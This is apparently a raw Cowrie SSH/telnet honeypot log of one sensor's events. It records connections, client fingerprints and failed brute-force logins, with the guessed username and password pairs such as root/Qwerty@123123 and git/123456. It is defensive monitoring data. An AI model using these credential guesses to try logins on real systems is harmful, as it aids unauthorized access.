{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@123123","message":"login attempt [root/Qwerty@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:35.391446Z","src_ip":"185.39.204.145","session":"4ee0b75077ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60538,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe1993aaba2","protocol":"ssh","message":"New connection: 8.210.75.243:60538 (10.17.0.5:22) [session: 0fe1993aaba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:35.591241Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:36.512883Z","src_ip":"185.39.204.145","session":"4ee0b75077ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:41.472379Z","src_ip":"8.210.75.243","session":"160d50dc1129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44482,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cd4546fed0f","protocol":"ssh","message":"New connection: 8.210.75.243:44482 (10.17.0.5:22) [session: 5cd4546fed0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:04.852990Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":40408,"dst_ip":"159.203.135.109","dst_port":22,"session":"6116ae9a1a72","protocol":"ssh","message":"New connection: 59.152.168.184:40408 (159.203.135.109:22) [session: 6116ae9a1a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:38.704932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:38.712080Z","src_ip":"59.152.168.184","session":"6116ae9a1a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:38.919301Z","src_ip":"59.152.168.184","session":"6116ae9a1a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qb@123456","message":"login attempt [root/qb@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:39.781096Z","src_ip":"59.152.168.184","session":"6116ae9a1a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:40.991125Z","src_ip":"59.152.168.184","session":"6116ae9a1a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46892,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf517e81308","protocol":"telnet","message":"New connection: 170.64.224.25:46892 (159.203.135.109:23) [session: 9bf517e81308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:40:59.256673Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46898,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ff811783d5","protocol":"telnet","message":"New connection: 170.64.224.25:46898 (159.203.135.109:23) [session: 17ff811783d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:03.025749Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56516,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bec16a01178","protocol":"ssh","message":"New connection: 8.210.75.243:56516 (10.17.0.5:22) [session: 7bec16a01178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:07.920660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:23.343891Z","src_ip":"8.210.75.243","session":"7bec16a01178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:23.352806Z","src_ip":"8.210.75.243","session":"7bec16a01178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.816284656524658,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:25.841893Z","src_ip":"170.64.224.25","session":"17ff811783d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55184817314148,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:32.808432Z","src_ip":"170.64.224.25","session":"9bf517e81308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:35.596416Z","src_ip":"8.210.75.243","session":"0fe1993aaba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56784,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0ee5ee8510","protocol":"telnet","message":"New connection: 170.64.224.25:56784 (159.203.135.109:23) [session: 1f0ee5ee8510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:44.685983Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47632,"dst_ip":"159.203.135.109","dst_port":23,"session":"09cde298b0c7","protocol":"telnet","message":"New connection: 170.64.224.25:47632 (159.203.135.109:23) [session: 09cde298b0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:51.047660Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52550,"dst_ip":"10.17.0.5","dst_port":22,"session":"b69fa7cc6013","protocol":"ssh","message":"New connection: 8.210.75.243:52550 (10.17.0.5:22) [session: b69fa7cc6013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:59.132333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:41:59.136876Z","src_ip":"8.210.75.243","session":"b69fa7cc6013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:04.859908Z","src_ip":"8.210.75.243","session":"5cd4546fed0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34406,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc5dabf7d1a4","protocol":"ssh","message":"New connection: 143.20.185.207:34406 (10.17.0.5:22) [session: bc5dabf7d1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:05.059787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:05.063923Z","src_ip":"143.20.185.207","session":"bc5dabf7d1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:05.202891Z","src_ip":"143.20.185.207","session":"bc5dabf7d1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#8VCPU16GBAMD","message":"login attempt [root/RASYAXINSA#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:05.544001Z","src_ip":"143.20.185.207","session":"bc5dabf7d1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:06.663875Z","src_ip":"143.20.185.207","session":"bc5dabf7d1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.079802751541138,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:06.765656Z","src_ip":"170.64.224.25","session":"1f0ee5ee8510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.23885440826416,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:08.286370Z","src_ip":"170.64.224.25","session":"09cde298b0c7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:08.800696Z","src_ip":"8.210.75.243","session":"b69fa7cc6013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":49782,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc56dbfd51a7","protocol":"ssh","message":"New connection: 159.65.58.200:49782 (159.203.135.109:22) [session: bc56dbfd51a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:09.293722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:09.523308Z","src_ip":"159.65.58.200","session":"bc56dbfd51a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:09.526321Z","src_ip":"159.65.58.200","session":"bc56dbfd51a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shevel","password":"123456","message":"login attempt [shevel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:10.411207Z","src_ip":"159.65.58.200","session":"bc56dbfd51a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:11.816337Z","src_ip":"159.65.58.200","session":"bc56dbfd51a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36416,"dst_ip":"10.17.0.5","dst_port":22,"session":"63d2f642c8cf","protocol":"ssh","message":"New connection: 8.210.75.243:36416 (10.17.0.5:22) [session: 63d2f642c8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:22.787455Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"a180d968f3c0","protocol":"ssh","message":"New connection: 91.92.40.4:43858 (10.17.0.5:22) [session: a180d968f3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:30.160655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:30.165540Z","src_ip":"91.92.40.4","session":"a180d968f3c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:30.246493Z","src_ip":"91.92.40.4","session":"a180d968f3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:30.493492Z","src_ip":"91.92.40.4","session":"a180d968f3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:31.577766Z","src_ip":"91.92.40.4","session":"a180d968f3c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":60968,"dst_ip":"159.203.135.109","dst_port":22,"session":"19999d7369bb","protocol":"ssh","message":"New connection: 192.169.180.166:60968 (159.203.135.109:22) [session: 19999d7369bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:44.481020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:44.483931Z","src_ip":"192.169.180.166","session":"19999d7369bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:44.548735Z","src_ip":"192.169.180.166","session":"19999d7369bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kraken","password":"kraken123","message":"login attempt [kraken/kraken123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:44.744606Z","src_ip":"192.169.180.166","session":"19999d7369bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:45.816054Z","src_ip":"192.169.180.166","session":"19999d7369bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60618,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5191a0483a","protocol":"ssh","message":"New connection: 8.210.75.243:60618 (10.17.0.5:22) [session: 3b5191a0483a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:42:58.267810Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:43:07.929476Z","src_ip":"8.210.75.243","session":"7bec16a01178","protocol":"ssh"}
